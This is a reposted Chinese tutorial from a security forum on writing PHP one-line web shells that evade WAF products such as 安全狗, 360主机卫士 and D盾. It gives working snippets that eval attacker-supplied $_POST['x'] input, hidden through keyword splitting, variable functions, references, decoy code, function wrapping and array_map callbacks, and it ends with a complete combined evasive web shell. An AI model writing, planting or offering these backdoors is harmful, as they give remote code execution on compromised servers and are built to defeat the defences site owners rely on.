1.关键字拆分。
? ?? ?? ?比如assert,可以写成 ‘a’.’ss’.’e’.’r’.’t’这样。
??? ?? ? 总结:这种方法虽然简单,但是却没有太强的免杀功效,需要结合其他方法。
2.可变变量、引用、可变函数。
? ?? ???可变变量??比如$a=$_POST[‘x’];$b=’a’;@eval($$b);
? ?? ???测试结果:
? ?? ???总结:这种方法对安全狗等WAF可以绕过哦~但是对于D盾这种多规则的是无效的!
? ?? ???引用??比如$a=$_POST[‘x’];$b=&$a;@eval($b);
? ?? ???测试结果:
? ?? ???总结:这种方法与上一种方法类似。
? ?? ???可变函数??比如$a=’a’.’ss’.’e’.’r’.’t’;$a($_POST[‘x’]);
? ?? ???测试结果:
? ?? ???总结:这种方法对于安全狗、360主机卫士、D盾之类的均没有作用哦~
3.添加其他代码。
添加其他代码??比如??if(empty($a))
? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?{
? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? $a=$_POST[‘x’];
? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?}
? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? @eval($a);
? ?? ???测试结果:
? ?? ???总结:这种方法比较适合脑洞比较大的小伙伴们~
4.函数替换。
? ?? ???使用其他函数,比如eval可以使用assert替换。
? ?? ???总结:这种方法适合eval函数被禁用时使用哦~
5.封装到新的函数中。
? ?? ? 新定义一个函数,使其封装到新函数中。
? ?? ? function test($a){? ?//定义一个名为test的函数,并使用$a接受参数
? ?? ?? ?? ?? ?eval($a);
? ?? ? }
? ?? ???test($_POST[‘x’]);
? ?? ? 测试结果:
? ?? ? 总结:这种方法适合有PHP基础的人哦,姿势风骚~不怕不过!
6.函数回调。
? ?? ? 使用其他函数进行调用,并执行。
? ?? ? 如:array_map(‘a’.’s’.’se’.’r’.’t’,array($_POST[‘x’]));
? ?? ? 测试结果:
? ?? ? 总结:这种方法适合有PHP基础的人哦~这种方法绝对过WAF哦~
7.利用各种方法的特性写出过WAF的一句话。
? ?? ? <?php
function test($a){? ?? ?//利用所学的封装函数
if (empty($a)){? ?? ? //利用所学的添加其他代码
$a=”echo ‘QQ:844812159’;”;? ?? ?//使用这句代码扰乱D盾的判断
}
@eval($a);
}
@test($_POST[‘x’]);
?>
测试结果:
原文地址:http://bbs.ichunqiu.com/thread-10016-1-1.html
转载请注明:即刻安全 » 转载:PHP一句话过安全狗、360主机卫士、D盾等免杀思路!